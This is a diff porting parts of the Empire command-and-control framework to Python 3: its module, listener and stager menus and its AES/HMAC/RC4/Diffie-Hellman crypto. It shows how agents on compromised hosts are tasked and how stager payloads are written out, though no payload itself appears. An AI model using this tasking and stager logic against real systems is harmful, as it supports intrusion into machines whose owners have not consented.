38523893 self.mainMenu.listeners.set_listener_option(self.listenerName, option, value)
3853
3894
38543895 except Exception as e:
3855 print helpers.color("[!] Error in setting listener option: %s" % (e))
3856
3857
3896 print(helpers.color("[!] Error in setting listener option: %s" % (e)))
3897
3898
38583899 def do_unset(self, line):
38593900 "Unset a listener option."
3860
3901
38613902 option = line.split()[0]
3862
3903
38633904 if line.lower() == "all":
38643905 for option in self.listener.options:
38653906 self.listener.options[option]['Value'] = ''
38663907 if option not in self.listener.options:
3867 print helpers.color("[!] Invalid option specified.")
3908 print(helpers.color("[!] Invalid option specified."))
38683909 else:
38693910 self.listener.options[option]['Value'] = ''
3870
3871
3911
3912
38723913 def complete_set(self, text, line, begidx, endidx):
38733914 "Tab-complete a listener option to set."
3874
3875 options = self.listener.options.keys()
3876
3915
3916 options = list(self.listener.options.keys())
3917
38773918 if line.split(' ')[1].lower().endswith('path'):
38783919 return helpers.complete_path(text, line, arg=True)
3879
3920
38803921 elif line.split(' ')[1].lower().endswith('file'):
38813922 return helpers.complete_path(text, line, arg=True)
3882
3923
38833924 elif line.split(' ')[1].lower().endswith('host'):
38843925 return [helpers.lhost()]
3885
3926
38863927 elif line.split(' ')[1].lower().endswith('listener'):
38873928 listenerNames = self.mainMenu.listeners.get_listener_names()
38883929 end_line = ' '.join(line.split(' ')[1:])
38893930 mline = end_line.partition(' ')[2]
38903931 offs = len(mline) - len(text)
38913932 return [s[offs:] for s in listenerNames if s.startswith(mline)]
3892
3933
38933934 # otherwise we're tab-completing an option name
38943935 mline = line.partition(' ')[2]
38953936 offs = len(mline) - len(text)
38963937 return [s[offs:] for s in options if s.startswith(mline)]
3897
3898
3938
3939
38993940 def complete_unset(self, text, line, begidx, endidx):
39003941 "Tab-complete a module option to unset."
3901
3902 options = self.listener.options.keys()
3903
3942
3943 options = list(self.listener.options.keys())
3944
39043945 mline = line.partition(' ')[2]
39053946 offs = len(mline) - len(text)
39063947 return [s[offs:] for s in options if s.startswith(mline)]
3907
3908
3948
3949
39093950 def complete_launcher(self, text, line, begidx, endidx):
39103951 "Tab-complete language types"
3911
3952
39123953 languages = ['powershell', 'python']
3913
3954
39143955 mline = line.partition(' ')[2]
39153956 offs = len(mline) - len(text)
39163957 return [s[offs:] for s in languages if s.startswith(mline)]
39213962 The main class used by Empire to drive the 'module' menu.
39223963 """
39233964 def __init__(self, mainMenu, moduleName, agent=None):
3924
3965
39253966 SubMenu.__init__(self, mainMenu)
39263967 self.doc_header = 'Module Commands'
3927
3968
39283969 try:
39293970 # get the current module/name
39303971 self.moduleName = moduleName
39313972 self.module = self.mainMenu.modules.modules[moduleName]
3932
3973
39333974 # set the prompt text
39343975 self.prompt = '(Empire: ' + helpers.color(self.moduleName, color="blue") + ') > '
3935
3976
39363977 # if this menu is being called from an agent menu
39373978 if agent and 'Agent' in self.module.options:
39383979 # resolve the agent sessionID to a name, if applicable
39393980 agent = self.mainMenu.agents.get_agent_name_db(agent)
39403981 self.module.options['Agent']['Value'] = agent
3941
3982
39423983 except Exception as e:
3943 print helpers.color("[!] ModuleMenu() init error: %s" % (e))
3944
3984 print(helpers.color("[!] ModuleMenu() init error: %s" % (e)))
3985
39453986 def validate_options(self, prompt):
39463987 "Ensure all required module options are completed."
3947
3988
39483989 # ensure all 'Required=True' options are filled in
3949 for option, values in self.module.options.iteritems():
3990 for option, values in self.module.options.items():
39503991 if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
3951 print helpers.color("[!] Error: Required module option missing.")
3992 print(helpers.color("[!] Error: Required module option missing."))
39523993 return False
3953
3994
39543995 # 'Agent' is set for all but external/* modules
39553996 if 'Agent' in self.module.options:
39563997 sessionID = self.module.options['Agent']['Value']
39594000 if sessionID.lower() != "all" and sessionID.lower() != "autorun":
39604001 moduleLangVersion = float(self.module.info['MinLanguageVersion'])
39614002 agentLangVersion = float(self.mainMenu.agents.get_language_version_db(sessionID))
3962
4003
39634004 # check if the agent/module PowerShell versions are compatible
39644005 if moduleLangVersion > agentLangVersion:
3965 print helpers.color("[!] Error: module requires language version %s but agent running version %s" % (moduleLangVersion, agentPSVersion))
4006 print(helpers.color("[!] Error: module requires language version %s but agent running version %s" % (moduleLangVersion, agentPSVersion)))
39664007 return False
39674008 except Exception as e:
3968 print helpers.color("[!] Invalid module or agent language version: %s" % (e))
4009 print(helpers.color("[!] Invalid module or agent language version: %s" % (e)))
39694010 return False
3970
4011
39714012 # check if the module needs admin privs
39724013 if self.module.info['NeedsAdmin']:
39734014 # if we're running this module for all agents, skip this validation
39744015 if sessionID.lower() != "all" and sessionID.lower() != "autorun":
39754016 if not self.mainMenu.agents.is_agent_elevated(sessionID):
3976 print helpers.color("[!] Error: module needs to run in an elevated context.")
4017 print(helpers.color("[!] Error: module needs to run in an elevated context."))
39774018 return False
3978
4019
39794020 # if the module isn't opsec safe, prompt before running (unless "execute noprompt" was issued)
39804021 if prompt and ('OpsecSafe' in self.module.info) and (not self.module.info['OpsecSafe']):
3981
4022
39824023 try:
3983 choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
4024 choice = input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
39844025 if not (choice.lower() != "" and choice.lower()[0] == "y"):
39854026 return False
39864027 except KeyboardInterrupt:
3987 print ""
4028 print("")
39884029 return False
3989
4030
39904031 return True
3991
4032
39924033 def do_list(self, line):
39934034 "Lists all active agents (or listeners)."
3994
4035
39954036 if line.lower().startswith("listeners"):
39964037 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
39974038 elif line.lower().startswith("agents"):
39984039 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
39994040 else:
4000 print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
4001
4041 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
4042
40024043 def do_reload(self, line):
40034044 "Reload the current module."
4004
4005 print "\n" + helpers.color("[*] Reloading module") + "\n"
4006
4045
4046 print("\n" + helpers.color("[*] Reloading module") + "\n")
4047
40074048 # reload the specific module
40084049 self.mainMenu.modules.reload_module(self.moduleName)
40094050 # regrab the reference
40104051 self.module = self.mainMenu.modules.modules[self.moduleName]
4011
4012
4052
4053
40134054 def do_info(self, line):
40144055 "Display module options."
40154056 messages.display_module(self.moduleName, self.module)
4016
4017
4057
4058
40184059 def do_options(self, line):
40194060 "Display module options."
40204061 messages.display_module(self.moduleName, self.module)
4021
4022
4062
4063
40234064 def do_set(self, line):
40244065 "Set a module option."
4025
4066
40264067 parts = line.split()
4027
4068
40284069 try:
40294070 option = parts[0]
40304071 if option not in self.module.options:
4031 print helpers.color("[!] Invalid option specified.")
4032
4072 print(helpers.color("[!] Invalid option specified."))
4073
40334074 elif len(parts) == 1:
40344075 # "set OPTION"
40354076 # check if we're setting a switch
40364077 if self.module.options[option]['Description'].startswith("Switch."):
40374078 self.module.options[option]['Value'] = "True"
40384079 else:
4039 print helpers.color("[!] Please specify an option value.")
4080 print(helpers.color("[!] Please specify an option value."))
40404081 else:
40414082 # otherwise "set OPTION VALUE"
40424083 option = parts[0]
40434084 value = ' '.join(parts[1:])
4044
4085
40454086 if value == '""' or value == "''":
40464087 value = ""
4047
4088
40484089 self.module.options[option]['Value'] = value
40494090 except:
4050 print helpers.color("[!] Error in setting option, likely invalid option name.")
4051
4052
4091 print(helpers.color("[!] Error in setting option, likely invalid option name."))
4092
4093
40534094 def do_unset(self, line):
40544095 "Unset a module option."
4055
4096
40564097 option = line.split()[0]
4057
4098
40584099 if line.lower() == "all":
40594100 for option in self.module.options:
40604101 self.module.options[option]['Value'] = ''
40614102 if option not in self.module.options:
4062 print helpers.color("[!] Invalid option specified.")
4103 print(helpers.color("[!] Invalid option specified."))
40634104 else:
40644105 self.module.options[option]['Value'] = ''
4065
4066
4106
4107
40674108 def do_usemodule(self, line):
40684109 "Use an Empire PowerShell module."
4069
4110
40704111 # Strip asterisks added by MainMenu.complete_usemodule()
40714112 module = line.strip().rstrip("*")
4072
4113
40734114 if module not in self.mainMenu.modules.modules:
4074 print helpers.color("[!] Error: invalid module")
4115 print(helpers.color("[!] Error: invalid module"))
40754116 else:
40764117 _agent = ''
40774118 if 'Agent' in self.module.options:
40784119 _agent = self.module.options['Agent']['Value']
4079
4080 line = line.strip("*")
4120
4121 line = line.strip("*")
40814122 module_menu = ModuleMenu(self.mainMenu, line, agent=_agent)
40824123 module_menu.cmdloop()
4083
4084
4124
4125
40854126 def do_creds(self, line):
40864127 "Display/return credentials from the database."
40874128 self.mainMenu.do_creds(line)
4088
4089
4129
4130
40904131 def do_execute(self, line):
40914132 "Execute the given Empire module."
4092
4133
40934134 prompt = True
40944135 if line == "noprompt":
40954136 prompt = False
4096
4137
40974138 if not self.validate_options(prompt):
40984139 return
4099
4140
41004141 if self.moduleName.lower().startswith('external/'):
41014142 # external/* modules don't include an agent specification, and only have
41024143 # an execute() method
41044145 else:
41054146 agentName = self.module.options['Agent']['Value']
41064147 moduleData = self.module.generate(self.mainMenu.obfuscate, self.mainMenu.obfuscateCommand)
4148
4149 if not moduleData or moduleData == "":
4150 print(helpers.color("[!] Error: module produced an empty script"))
4151 return
41074152
4108 if not moduleData or moduleData == "":
4109 print helpers.color("[!] Error: module produced an empty script")
4110 try:
4111 moduleData.decode('ascii')
4112 except UnicodeDecodeError:
4113 print helpers.color("[!] Error: module source contains non-ascii characters")
4114 return
4153 ############################################
4154 ## No longer needed
4155 #try:
4156 #moduleData = moduleData.encode('UTF-8')
4157 #print("im awesome")
4158 #moduleData.decode('ascii')
4159 #except UnicodeDecodeError:
4160 # print(helpers.color("[!] Error: module source contains non-ascii characters"))
4161 # return
4162 ############################################print
41154163
41164164 # strip all comments from the module
41174165 moduleData = helpers.strip_powershell_comments(moduleData)
4118
4166
41194167 taskCommand = ""
4120
4168
41214169 # build the appropriate task command and module data blob
41224170 if str(self.module.info['Background']).lower() == "true":
41234171 # if this module should be run in the background
41414189 taskCommand = "TASK_CMD_WAIT_SAVE"
41424190 else:
41434191 taskCommand = "TASK_CMD_WAIT"
4144
4192
41454193 # if we're running the module on all modules
41464194 if agentName.lower() == "all":
41474195 try:
4148 choice = raw_input(helpers.color("[>] Run module on all agents? [y/N] ", "red"))
4196 choice = input(helpers.color("[>] Run module on all agents? [y/N] ", "red"))
41494197 if choice.lower() != "" and choice.lower()[0] == "y":
4150
4198
41514199 # signal everyone with what we're doing
41524200 message = "[*] Tasking all agents to run {}".format(self.moduleName)
41534201 signal = json.dumps({
41554203 'message': message
41564204 })
41574205 dispatcher.send(signal, sender="agents/all/{}".format(self.moduleName))
4158
4206
41594207 # actually task the agents
41604208 for agent in self.mainMenu.agents.get_agents_db():
4161
4209
41624210 sessionID = agent['session_id']
4163
4211
41644212 # set the agent's tasking in the cache
41654213 self.mainMenu.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
4166
4214
41674215 # update the agent log
41684216 # dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire")
41694217 message = "[*] Tasked agent {} to run module {}".format(sessionID, self.moduleName)
41754223 dispatcher.send(signal, sender="agents/{}/{}".format(sessionID, self.moduleName))
41764224 msg = "Tasked agent to run module {}".format(self.moduleName)
41774225 self.mainMenu.agents.save_agent_log(sessionID, msg)
4178
4226
41794227 except KeyboardInterrupt:
4180 print ""
4181
4228 print("")
4229
41824230 # set the script to be the global autorun
41834231 elif agentName.lower() == "autorun":
4184
4232
41854233 self.mainMenu.agents.set_autoruns_db(taskCommand, moduleData)
41864234 message = "[*] Set module {} to be global script autorun.".format(self.moduleName)
41874235 signal = json.dumps({
41894237 'message': message
41904238 })
41914239 dispatcher.send(signal, sender="agents")
4192
4240
41934241 else:
41944242 if not self.mainMenu.agents.is_agent_present(agentName):
4195 print helpers.color("[!] Invalid agent name.")
4243 print(helpers.color("[!] Invalid agent name."))
41964244 else:
41974245 # set the agent's tasking in the cache
41984246 self.mainMenu.agents.add_agent_task_db(agentName, taskCommand, moduleData)
4199
4247
42004248 # update the agent log
42014249 message = "[*] Tasked agent {} to run module {}".format(agentName, self.moduleName)
42024250 signal = json.dumps({
42074255 dispatcher.send(signal, sender="agents/{}/{}".format(agentName, self.moduleName))
42084256 msg = "Tasked agent to run module %s" % (self.moduleName)
42094257 self.mainMenu.agents.save_agent_log(agentName, msg)
4210
4211
4258
4259
42124260 def do_run(self, line):
42134261 "Execute the given Empire module."
42144262 self.do_execute(line)
4215
4216
4263
4264
42174265 def do_interact(self, line):
42184266 "Interact with a particular agent."
4219
4267
42204268 name = line.strip()
4221
4269
42224270 if name != "" and self.mainMenu.agents.is_agent_present(name):
42234271 # resolve the passed name to a sessionID
42244272 sessionID = self.mainMenu.agents.get_agent_id_db(name)
4225
4273
42264274 agent_menu = AgentMenu(self.mainMenu, sessionID)
42274275 else:
4228 print helpers.color("[!] Please enter a valid agent name")
4229
4230
4276 print(helpers.color("[!] Please enter a valid agent name"))
4277
4278
42314279 def complete_set(self, text, line, begidx, endidx):
42324280 "Tab-complete a module option to set."
4233
4234 options = self.module.options.keys()
4235
4281
4282 options = list(self.module.options.keys())
4283
42364284 if line.split(' ')[1].lower() == "agent":
42374285 # if we're tab-completing "agent", return the agent names
42384286 agentNames = self.mainMenu.agents.get_agent_names_db() + ["all", "autorun"]
42394287 end_line = ' '.join(line.split(' ')[1:])
4240
4288
42414289 mline = end_line.partition(' ')[2]
42424290 offs = len(mline) - len(text)
42434291 return [s[offs:] for s in agentNames if s.startswith(mline)]
4244
4292
42454293 elif line.split(' ')[1].lower() == "listener":
42464294 # if we're tab-completing a listener name, return all the names
42474295 listenerNames = self.mainMenu.listeners.get_listener_names()
42494297 mline = end_line.partition(' ')[2]
42504298 offs = len(mline) - len(text)
42514299 return [s[offs:] for s in listenerNames if s.startswith(mline)]
4252
4300
42534301 elif line.split(' ')[1].lower().endswith("path"):
42544302 return helpers.complete_path(text, line, arg=True)
4255
4303
42564304 elif line.split(' ')[1].lower().endswith("file"):
42574305 return helpers.complete_path(text, line, arg=True)
4258
4306
42594307 elif line.split(' ')[1].lower().endswith("host"):
42604308 return [helpers.lhost()]
4261
4309
42624310 elif line.split(' ')[1].lower().endswith("language"):
42634311 languages = ['powershell', 'python']
42644312 end_line = ' '.join(line.split(' ')[1:])
42654313 mline = end_line.partition(' ')[2]
42664314 offs = len(mline) - len(text)
42674315 return [s[offs:] for s in languages if s.startswith(mline)]
4268
4316
42694317 # otherwise we're tab-completing an option name
42704318 mline = line.partition(' ')[2]
42714319 offs = len(mline) - len(text)
42724320 return [s[offs:] for s in options if s.startswith(mline)]
4273
4274
4321
4322
42754323 def complete_unset(self, text, line, begidx, endidx):
42764324 "Tab-complete a module option to unset."
4277
4278 options = self.module.options.keys() + ["all"]
4279
4325
4326 options = list(self.module.options.keys()) + ["all"]
4327
42804328 mline = line.partition(' ')[2]
42814329 offs = len(mline) - len(text)
42824330 return [s[offs:] for s in options if s.startswith(mline)]
4283
4284
4331
4332
42854333 def complete_usemodule(self, text, line, begidx, endidx):
42864334 "Tab-complete an Empire PowerShell module path."
42874335 return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
4288
4289
4336
4337
42904338 def complete_creds(self, text, line, begidx, endidx):
42914339 "Tab-complete 'creds' commands."
42924340 return self.mainMenu.complete_creds(text, line, begidx, endidx)
4293
4294
4341
4342
42954343 def complete_interact(self, text, line, begidx, endidx):
42964344 "Tab-complete an interact command"
4297
4345
42984346 names = self.mainMenu.agents.get_agent_names_db()
4299
4347
43004348 mline = line.partition(' ')[2]
43014349 offs = len(mline) - len(text)
43024350 return [s[offs:] for s in names if s.startswith(mline)]
43094357 def __init__(self, mainMenu, stagerName, listener=None):
43104358 SubMenu.__init__(self, mainMenu)
43114359 self.doc_header = 'Stager Menu'
4312
4360
43134361 # get the current stager name
43144362 self.stagerName = stagerName
43154363 self.stager = self.mainMenu.stagers.stagers[stagerName]
4316
4364
43174365 # set the prompt text
43184366 self.prompt = '(Empire: ' + helpers.color("stager/" + self.stagerName, color="blue") + ') > '
4319
4367
43204368 # if this menu is being called from an listener menu
43214369 if listener:
43224370 # resolve the listener ID to a name, if applicable
43234371 listener = self.mainMenu.listeners.get_listener(listener)
43244372 self.stager.options['Listener']['Value'] = listener
4325
4373
43264374 def validate_options(self):
43274375 "Make sure all required stager options are completed."
4328
4329 for option, values in self.stager.options.iteritems():
4376
4377 for option, values in self.stager.options.items():
43304378 if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
4331 print helpers.color("[!] Error: Required stager option missing.")
4379 print(helpers.color("[!] Error: Required stager option missing."))
43324380 return False
4333
4381
43344382 listenerName = self.stager.options['Listener']['Value']
4335
4383
43364384 if not self.mainMenu.listeners.is_listener_valid(listenerName):
4337 print helpers.color("[!] Invalid listener ID or name.")
4385 print(helpers.color("[!] Invalid listener ID or name."))
43384386 return False
4339
4387
43404388 return True
4341
4389
43424390 def do_list(self, line):
43434391 "Lists all active agents (or listeners)."
4344
4392
43454393 if line.lower().startswith("listeners"):
43464394 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
43474395 elif line.lower().startswith("agents"):
43484396 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
43494397 else:
4350 print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
4351
4352
4398 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
4399
4400
43534401 def do_info(self, line):
43544402 "Display stager options."
43554403 messages.display_stager(self.stager)
4356
4357
4404
4405
43584406 def do_options(self, line):
43594407 "Display stager options."
43604408 messages.display_stager(self.stager)
4361
4362
4409
4410
43634411 def do_set(self, line):
43644412 "Set a stager option."
4365
4413
43664414 parts = line.split()
4367
4415
43684416 try:
43694417 option = parts[0]
43704418 if option not in self.stager.options:
4371 print helpers.color("[!] Invalid option specified.")
4372
4419 print(helpers.color("[!] Invalid option specified."))
4420
43734421 elif len(parts) == 1:
43744422 # "set OPTION"
43754423 # check if we're setting a switch
43764424 if self.stager.options[option]['Description'].startswith("Switch."):
43774425 self.stager.options[option]['Value'] = "True"
43784426 else:
4379 print helpers.color("[!] Please specify an option value.")
4427 print(helpers.color("[!] Please specify an option value."))
43804428 else:
43814429 # otherwise "set OPTION VALUE"
43824430 option = parts[0]
43834431 value = ' '.join(parts[1:])
4384
4432
43854433 if value == '""' or value == "''":
43864434 value = ""
4387
4435
43884436 self.stager.options[option]['Value'] = value
43894437 except:
4390 print helpers.color("[!] Error in setting option, likely invalid option name.")
4391
4392
4438 print(helpers.color("[!] Error in setting option, likely invalid option name."))
4439
4440
43934441 def do_unset(self, line):
43944442 "Unset a stager option."
4395
4443
43964444 option = line.split()[0]
4397
4445
43984446 if line.lower() == "all":
43994447 for option in self.stager.options:
44004448 self.stager.options[option]['Value'] = ''
44014449 if option not in self.stager.options:
4402 print helpers.color("[!] Invalid option specified.")
4450 print(helpers.color("[!] Invalid option specified."))
44034451 else:
44044452 self.stager.options[option]['Value'] = ''
4405
4406
4453
4454
44074455 def do_generate(self, line):
44084456 "Generate/execute the given Empire stager."
44094457 if not self.validate_options():
44104458 return
4411
4459
44124460 stagerOutput = self.stager.generate()
4413
4461
44144462 savePath = ''
44154463 if 'OutFile' in self.stager.options:
44164464 savePath = self.stager.options['OutFile']['Value']
4417
4465
44184466 if savePath != '':
44194467 # make the base directory if it doesn't exist
44204468 if not os.path.exists(os.path.dirname(savePath)) and os.path.dirname(savePath) != '':
44214469 os.makedirs(os.path.dirname(savePath))
4422
4470
44234471 # if we need to write binary output for a .dll
44244472 if ".dll" in savePath:
44254473 out_file = open(savePath, 'wb')
44304478 out_file = open(savePath, 'w')
44314479 out_file.write(stagerOutput)
44324480 out_file.close()
4433
4481
44344482 # if this is a bash script, make it executable
44354483 if ".sh" in savePath:
44364484 os.chmod(savePath, 777)
4437
4438 print "\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath))
4485
4486 print("\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath)))
44394487 # dispatch this event
44404488 message = "[*] Generated stager"
44414489 signal = json.dumps({
44424490 'print': False,
44434491 'message': message,
4444 'options': stager.options
4492 'options': self.stager.options
44454493 })
44464494 dispatcher.send(signal, sender="empire")
44474495 else:
4448 print stagerOutput
4449
4450
4496 print(stagerOutput)
4497
4498
44514499 def do_execute(self, line):
44524500 "Generate/execute the given Empire stager."
44534501 self.do_generate(line)
4454
4455
4502
4503
44564504 def do_interact(self, line):
44574505 "Interact with a particular agent."
4458
4506
44594507 name = line.strip()
4460
4508
44614509 if name != "" and self.mainMenu.agents.is_agent_present(name):
44624510 # resolve the passed name to a sessionID
44634511 sessionID = self.mainMenu.agents.get_agent_id_db(name)
4464
4512
44654513 agent_menu = AgentMenu(self.mainMenu, sessionID)
44664514 else:
4467 print helpers.color("[!] Please enter a valid agent name")
4468
4469
4515 print(helpers.color("[!] Please enter a valid agent name"))
4516
4517
44704518 def complete_set(self, text, line, begidx, endidx):
44714519 "Tab-complete a stager option to set."
4472
4473 options = self.stager.options.keys()
4474
4520
4521 options = list(self.stager.options.keys())
4522
44754523 if line.split(' ')[1].lower() == "listener":
44764524 # if we're tab-completing a listener name, return all the names
44774525 listenerNames = self.mainMenu.listeners.get_listener_names()
44784526 end_line = ' '.join(line.split(' ')[1:])
4479
4527
44804528 mline = end_line.partition(' ')[2]
44814529 offs = len(mline) - len(text)
44824530 return [s[offs:] for s in listenerNames if s.startswith(mline)]
44864534 mline = end_line.partition(' ')[2]
44874535 offs = len(mline) - len(text)
44884536 return [s[offs:] for s in languages if s.startswith(mline)]
4489
4537
44904538 elif line.split(' ')[1].lower().endswith("path"):
44914539 # tab-complete any stager option that ends with 'path'
44924540 return helpers.complete_path(text, line, arg=True)
4493
4541
44944542 # otherwise we're tab-completing an option name
44954543 mline = line.partition(' ')[2]
44964544 offs = len(mline) - len(text)
44974545 return [s[offs:] for s in options if s.startswith(mline)]
4498
4499
4546
4547
45004548 def complete_unset(self, text, line, begidx, endidx):
45014549 "Tab-complete a stager option to unset."
4502
4503 options = self.stager.options.keys() + ["all"]
4504
4550
4551 options = list(self.stager.options.keys()) + ["all"]
4552
45054553 mline = line.partition(' ')[2]
45064554 offs = len(mline) - len(text)
45074555 return [s[offs:] for s in options if s.startswith(mline)]
4508
4509
4556
4557
45104558 def complete_interact(self, text, line, begidx, endidx):
45114559 "Tab-complete an interact command"
4512
4560
45134561 names = self.mainMenu.agents.get_agent_names_db()
4514
4562
45154563 mline = line.partition(' ')[2]
45164564 offs = len(mline) - len(text)
45174565 return [s[offs:] for s in names if s.startswith(mline)]
+97
-65
lib/common/encryption.py less more
1717 DiffieHellman() - Mark Loiseau's DiffieHellman implementation, see ./data/licenses/ for license info
1818
1919 """
20 from __future__ import print_function
2021
2122 import base64
2223 import hashlib
2324 import hmac
2425 import os
26 import sys
27 import random
2528 import string
29 from binascii import hexlify
30 from xml.dom.minidom import parseString
31
2632 import M2Crypto
27 import os
28 import random
29
30 from xml.dom.minidom import parseString
33 from builtins import bytes
34 from builtins import chr
35 from builtins import object
36 from builtins import range
37 from builtins import str
38 from cryptography.hazmat.backends import default_backend
3139 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
32 from cryptography.hazmat.backends import default_backend
33 from binascii import hexlify
3440
3541
3642 def to_bufferable(binary):
3743 return binary
3844
45
3946 def _get_byte(c):
4047 return ord(c)
48
4149
4250 # Python 3 compatibility stuffz
4351 try:
4452 xrange
4553 except Exception:
4654 xrange = range
47
55
56
4857 def to_bufferable(binary):
4958 if isinstance(binary, bytes):
5059 return binary
5160 return bytes(ord(b) for b in binary)
52
61
62
5363 def _get_byte(c):
5464 return c
5565
5666 # If a secure random number generator is unavailable, exit with an error.
5767 try:
5868 import ssl
69
5970 random_function = ssl.RAND_bytes
6071 random_provider = "Python SSL"
6172 except:
6273 random_function = os.urandom
6374 random_provider = "os.urandom"
6475
76
6577 def pad(data):
6678 """
6779 Performs PKCS#7 padding for 128 bit block size.
6880 """
69
81
7082 pad = 16 - (len(data) % 16)
71 return data + to_bufferable(chr(pad) * pad)
72
83 return data + to_bufferable(chr(pad).encode('UTF-8') * pad)
84
7385 # return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
7486
7587
7991 """
8092 if len(data) % 16 != 0:
8193 raise ValueError("invalid length")
82
94
8395 pad = _get_byte(data[-1])
8496 return data[:-pad]
85
97
8698 # return s[:-(ord(s[-1]))]
8799
88100
100112 dom = parseString(xml)
101113 e = base64.b64decode(dom.getElementsByTagName('Exponent')[0].childNodes[0].data)
102114 n = base64.b64decode(dom.getElementsByTagName('Modulus')[0].childNodes[0].data)
103
115
104116 # build the new key
105117 key = M2Crypto.RSA.new_pub_key((
106118 M2Crypto.m2.bn_to_mpi(M2Crypto.m2.hex_to_bn(hexlify(e))),
107119 M2Crypto.m2.bn_to_mpi(M2Crypto.m2.hex_to_bn(hexlify(n))),
108 ))
109
120 ))
121
110122 return key
111123 # if there's an XML parsing error, return None
112124 except:
125137 Generate a random IV and new AES cipher object with the given
126138 key, and return IV + encryptedData.
127139 """
140 if isinstance(key, str):
141 key = bytes(key, 'UTF-8')
142 if isinstance(data, str):
143 data = bytes(data, 'UTF-8')
128144 backend = default_backend()
129145 IV = os.urandom(16)
130146 cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend)
131147 encryptor = cipher.encryptor()
132 ct = encryptor.update(pad(data))+encryptor.finalize()
148 ct = encryptor.update(pad(data)) + encryptor.finalize()
133149 return IV + ct
134150
135151
137153 """
138154 Encrypt the data then calculate HMAC over the ciphertext.
139155 """
156 if isinstance(key, str):
157 key = bytes(key, 'UTF-8')
158 if isinstance(data, str):
159 data = bytes(data, 'UTF-8')
160
140161 data = aes_encrypt(key, data)
141 mac = hmac.new(str(key), data, hashlib.sha256).digest()
162 mac = hmac.new(key, data, hashlib.sha256).digest()
142163 return data + mac[0:10]
143164
144165
147168 Generate an AES cipher object, pull out the IV from the data
148169 and return the unencrypted data.
149170 """
171
150172 if len(data) > 16:
151173 backend = default_backend()
152174 IV = data[0:16]
153175 cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend)
154176 decryptor = cipher.decryptor()
155 pt = depad(decryptor.update(data[16:])+decryptor.finalize())
177 pt = depad(decryptor.update(data[16:]) + decryptor.finalize())
156178 return pt
157179
158180
160182 """
161183 Verify the HMAC supplied in the data with the given key.
162184 """
185 if isinstance(key, str):
186 key = bytes(key, 'latin-1')
187
163188 if len(data) > 20:
164189 mac = data[-10:]
165190 data = data[:-10]
166191 expected = hmac.new(key, data, hashlib.sha256).digest()[0:10]
167192 # Double HMAC to prevent timing attacks. hmac.compare_digest() is
168193 # preferable, but only available since Python 2.7.7.
169 return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest()
194 return hmac.new(key, expected).digest() == hmac.new(key, mac).digest()
170195 else:
171196 return False
172197
175200 """
176201 Decrypt the data, but only if it has a valid MAC.
177202 """
203
178204 if len(data) > 32 and verify_hmac(key, data):
205 if isinstance(key, str):
206 key = bytes(key, 'latin-1')
179207 return aes_decrypt(key, data[:-10])
180208 raise Exception("Invalid ciphertext received.")
181209
194222
195223 From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python
196224 """
197
198 S, j, out = range(256), 0, []
199
225 S, j, out = list(range(256)), 0, []
226 # This might break python 2.7
227 key = bytearray(key)
200228 # KSA Phase
201229 for i in range(256):
202 j = (j + S[i] + ord(key[i % len(key)])) % 256
230 j = (j + S[i] + key[i % len(key)]) % 256
203231 S[i], S[j] = S[j], S[i]
204
232 # this might also break python 2.7
233 #data = bytearray(data)
205234 # PRGA Phase
206235 i = j = 0
236
207237 for char in data:
208238 i = (i + 1) % 256
209239 j = (j + S[i]) % 256
210240 S[i], S[j] = S[j], S[i]
211 out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
212
213 return ''.join(out)
241 if sys.version[0] == "2":
242 char = ord(char)
243 out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode('latin-1'))
244 #out = str(out)
245 tmp = b''.join(out)
246 return tmp
214247
215248
216249 class DiffieHellman(object):
226259
227260 Also used in ./data/agent/stager.py for the Python key-negotiation stager
228261 """
229
262
230263 def __init__(self, generator=2, group=17, keyLength=540):
231264 """
232265 Generate the public and private keys.
233266 """
234267 min_keyLength = 180
235
268
236269 default_generator = 2
237270 valid_generators = [2, 3, 5, 7]
238
271
239272 # Sanity check fors generator and keyLength
240 if(generator not in valid_generators):
273 if (generator not in valid_generators):
241274 print("Error: Invalid generator. Using default.")
242275 self.generator = default_generator
243276 else:
244277 self.generator = generator
245
246 if(keyLength < min_keyLength):
278
279 if (keyLength < min_keyLength):
247280 print("Error: keyLength is too small. Setting to minimum.")
248281 self.keyLength = min_keyLength
249282 else:
250283 self.keyLength = keyLength
251
284
252285 self.prime = self.getPrime(group)
253
286
254287 self.privateKey = self.genPrivateKey(keyLength)
255288 self.publicKey = self.genPublicKey()
256
289
257290 def getPrime(self, group=17):
258291 """
259292 Given a group number, return a prime.
260293 """
261294 default_group = 17
262
295
263296 primes = {
264 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF,
